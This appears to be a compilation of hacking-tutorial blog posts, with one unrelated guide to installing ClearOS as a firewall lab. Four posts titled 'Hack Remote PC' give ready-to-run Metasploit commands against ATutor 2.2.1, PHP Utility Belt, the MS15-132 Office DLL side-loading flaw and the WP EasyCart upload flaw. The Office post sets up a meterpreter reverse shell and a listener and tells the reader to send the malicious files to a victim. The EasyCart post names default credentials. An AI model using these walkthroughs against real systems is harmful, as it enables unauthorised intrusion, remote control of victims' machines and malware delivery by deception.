Hack Remote PC using ATutor 2.2.1 SQL Injection / Remote Code Execution

This module exploits SQL Injection vulnerability and authentication weakness vulnerability in ATutor. This essentially means an attacker can bypass authentication and reach the administrator's interface where they can upload malicious code.

Exploit Targets

ATutor 2.2.1

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/http/atutor_sqli

msf exploit (atutor_sqli)>set targeturi /Atutor/

msf exploit (atutor_sqli)>set rhost 192.168.0.110 (IP of Remote Host)

msf exploit (atutor_sqli)>set rport 80

msf exploit (atutor_sqli)>exploit       

Hack Remote PC using PHP Utility Belt Remote Code Execution

This module exploits remote code execution vulnerability in PHP Utility Belt, which is a set of tools for PHP developers and should not be installed in a production environment, since this application runs arbitrary PHP code as an intended functionality.

Exploit Targets

PHP Utility Belt

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/http/php_utility_belt_rce

msf exploit (php_utility_belt_rce)>set targeturi /wordpress

msf exploit (php_utility_belt_rce)>set rhost 192.168.0.110 (IP of Remote Host)

msf exploit (php_utility_belt_rce)>set rport 80

msf exploit (php_utility_belt_rce)>exploit        

Setup Firewall Pentest Lab using Clear OS

Clear OS is basically a Linux based server operating system for small business which comes with server, networking and gateway related functions. Clear OS is available in a Home, Business and free Community Edition. It is normally managed from a web-based interface but it can also be completely operated from a command line. But mostly ClearOS is used as firewall.

 Let’s see how to install Clear OS.

First, make bootable disk or pen drive from Yumi or Rufus.

Then restart your computer and select:  Install ClearOS

After selecting press Enter

Select the language in which you are comfortable.

After that Installation summary interface will appear

Select Date and Time from localization section.

Then select installation source and click on done.

After that select Network and host name. Turn on and configure your network setting.

Now after setting everything, clicks on Begin Installation and then installation will start. You have to set root password also.

After finish installing system will reboot. And then clear OS will provide you with a link that contains IP address.  Open that link in a browser.

When you will open that link in your browser it will ask you to login into your account, use username as root and password what you set at the time of installation and login.

After login you have to configure clearOS

Configure network interfaces. Change type to static and set ip address what you set IP address and then click next.

Select your Edition and click next.

Fill system registration form and click next.

Now you have to set hostname for your NIC (Network Interface Card). Set hostname for internal and external NIC and click next.

After that from marketplace you have select and install apps which is required for monitoring, administration. After finishing your configuration a simple dashboard will appear, from here you can utilize clearOS as per your need.

Author: AkshayBhardwaj is a passionate Hacker, Information Security Researcher | Sketch Artist |Technical writer. You can follow him on LinkedIn and Facebook

Hack Remote Windows PC using Office OLE multiple DLL side loading vulnerabilities

Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When instantiating a vulnerable object Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker’s DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system.

Exploit Targets

MS Office 2013

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/ms15_132_dll_sideload

msf exploit (ms15_132_dll_sideload)>set payload windows/meterpreter/reverse_tcp

msf exploit (ms15_132_dll_sideload)>set lhost 192.168.0.119 (IP of Local Host)

msf exploit (ms15_132_dll_sideload)>exploit

After we successfully generate the malicious dll and ppsx File, it will stored on your local computer

/root/.msf4/local

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.119

exploit

Now send your malicious files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer

Hack Remote PC using WordPress WP EasyCart Unrestricted File Upload

WordPress Shopping Cart (WP EasyCart) Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /inc/amfphp/administration/banneruploaderscript.php script does not properly verify or sanitize user-uploaded files. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server. In versions <= 3.0.8 authentication can be done by using the WordPress credentials of a user with any role. In later versions, a valid EasyCart admin password will be required that is in use by any admin user. A default installation of EasyCart will setup a user called "demouser" with a preset password of "demouser".

Exploit Targets

wp-easycart

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/unix/webapp/wp_easycart_unrestricted_file_upload

msf exploit (wp_easycart_unrestricted_file_upload)>set targeturi wordpress

msf exploit (wp_easycart_unrestricted_file_upload)>set rhost 192.168.0.110 (IP of Remote Host)

msf exploit (wp_easycart_unrestricted_file_upload)>set rport 80

msf exploit (wp_easycart_unrestricted_file_upload)>exploit